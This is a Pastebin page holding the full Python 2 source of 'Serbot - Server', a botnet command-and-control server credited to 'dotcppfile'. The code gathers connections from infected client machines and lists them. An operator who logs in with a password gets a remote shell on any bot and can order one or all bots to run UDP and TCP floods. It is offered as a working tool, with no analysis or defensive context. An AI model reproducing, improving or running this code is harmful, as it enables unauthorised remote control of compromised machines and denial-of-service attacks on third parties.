Advertisement
Guest User

Serbot - Server

a guest
Nov 27th, 2014
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.05 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. #v1
  3.  
  4. import os, sys, time
  5. from socket import *
  6.  
  7. if (len(sys.argv) == 4):
  8.     port = int(sys.argv[1])
  9.     password = sys.argv[2]
  10.     bridgeport = int(sys.argv[3])
  11. else:
  12.     sys.exit("Usage: server.py <port> <password> <bridge port>")
  13.  
  14. intro = """
  15. ____ ____ ____ ____ ____ ____
  16. ||S |||e |||r |||b |||o |||t ||
  17. ||__|||__|||__|||__|||__|||__||
  18. |/__\|/__\|/__\|/__\|/__\|/__\|
  19.  
  20. Coded by: dotcppfile
  21. Twitter: https://twitter.com/dotcppfile
  22. Blog: http://dotcppfile.worpdress.com"
  23. """
  24.  
  25. s=socket(AF_INET, SOCK_STREAM)
  26. s.settimeout(5)
  27. s.bind(("0.0.0.0",port))
  28. s.listen(100)
  29.  
  30. allConnections = []
  31. allAddresses = []
  32.  
  33. def quitClients():
  34.     for item in allConnections:
  35.         try:
  36.             item.send("exit")
  37.             item.close()
  38.         except:
  39.             pass
  40.  
  41.     del allConnections[:]
  42.     del allAddresses[:]
  43.  
  44. def getConnections():
  45.     for item in allConnections:
  46.         item.close()
  47.  
  48.     del allConnections[:]
  49.     del allAddresses[:]
  50.  
  51.     while 1:
  52.         try:
  53.             q,addr=s.accept()
  54.             q.setblocking(1)
  55.             allConnections.append(q)
  56.             allAddresses.append(addr)
  57.         except:
  58.             break
  59.  
  60. def main():
  61.     bridge=socket(AF_INET, SOCK_STREAM)
  62.     bridge.bind(("0.0.0.0",bridgeport))
  63.     bridge.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
  64.     while 1:
  65.         bridge.listen(1)
  66.         q,addr=bridge.accept()
  67.  
  68.         cpass = q.recv(4096)
  69.         if (cpass == password):
  70.             loginsucc=True
  71.         else:
  72.             loginsucc=False
  73.  
  74.         breakit = False
  75.         while loginsucc:
  76.             if (breakit == True):
  77.                 quitClients()
  78.                 break
  79.  
  80.             timeout = time.time() + 600
  81.             if (time.time() > timeout):
  82.                 quitClients()
  83.                 break
  84.  
  85.             command = q.recv(4096)
  86.             if (command == "accept"):
  87.                 getConnections()
  88.                 q.send("[INFO] Done Accepting\n")
  89.             elif(command == "list"):
  90.                 temporary = ""
  91.                 for item in allAddresses:
  92.                     temporary += "%d - %s|%s\n" % (allAddresses.index(item) + 1, str(item[0]), str(item[1]))
  93.                 if (temporary != ""):
  94.                     q.send(temporary)
  95.                 else:
  96.                     q.send("[INFO] No clients\n")
  97.             elif("interact " in command):
  98.                 chosenone = int(command.replace("interact ","")) - 1
  99.                 if ((chosenone < len(allAddresses)) and (chosenone >= 0 )):
  100.                     q.send("[INFO] Interacting with %s\n" % str(allAddresses[chosenone]))
  101.                     try:
  102.                         allConnections[chosenone].send("hellows123")
  103.                         vtpath = allConnections[chosenone].recv(4096) + ">"
  104.                         q.send(vtpath)
  105.                    
  106.                         while 1:
  107.                             if (time.time() > timeout):
  108.                                 breakit = True
  109.                                 break
  110.  
  111.                             try:
  112.                                 data=q.recv(4096)
  113.                                 if ((data != "stop") and ("cd " not in data) and ("udpflood " not in data) and ("tcpflood " not in data) and (data != "quit")):
  114.                                     try:
  115.                                         allConnections[chosenone].send(data)
  116.                                         msg=allConnections[chosenone].recv(4096)
  117.                                         q.send(msg)                        
  118.                                     except:
  119.                                         q.send("[ERROR] Client closed the connection\n")
  120.                                         break
  121.                                 elif ("cd " in data):
  122.                                     try:
  123.                                         allConnections[chosenone].send(data)
  124.                                         msg=allConnections[chosenone].recv(4096)
  125.                                         vtpath = msg + ">"
  126.                            
  127.                                         q.send(vtpath)
  128.                                     except:
  129.                                         q.send("[ERROR] Client closed the connection\n")
  130.                                         break
  131.  
  132.                                 elif ("udpflood " in data or "tcpflood " in data):
  133.                                     try:
  134.                                         allConnections[chosenone].send(data)
  135.                                         q.send("[INFO] Command sent\n")
  136.                                     except:
  137.                                         q.send("[ERROR] Client closed the connection\n")
  138.                                         break
  139.                                 elif (data == "stop"):
  140.                                     break
  141.                                
  142.                                 elif (data == "quit"):
  143.                                     breakit = True
  144.                                     break
  145.                             except:
  146.                                 quitClients()
  147.                                 break
  148.                     except:
  149.                         q.send("[ERROR] Client closed the connection\n")
  150.                 else:
  151.                     q.send("[ERROR] Client doesn't exist\n")
  152.             elif ("udpfloodall " in command or "tcpfloodall " in command):
  153.                 for item in allConnections:
  154.                     try:
  155.                         item.send(command)
  156.                     except:
  157.                         pass
  158.             elif(command == "quit"):
  159.                 quitClients()
  160.                 break
  161.             else:
  162.                 q.send("[ERROR] Invalid Command\n")
  163.  
  164. try:       
  165.     main()
  166. except KeyboardInterrupt:
  167.     try:
  168.         quitClients()
  169.  
  170.         del allConnections[:]
  171.         del allAddresses[:]
  172.     except:
  173.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement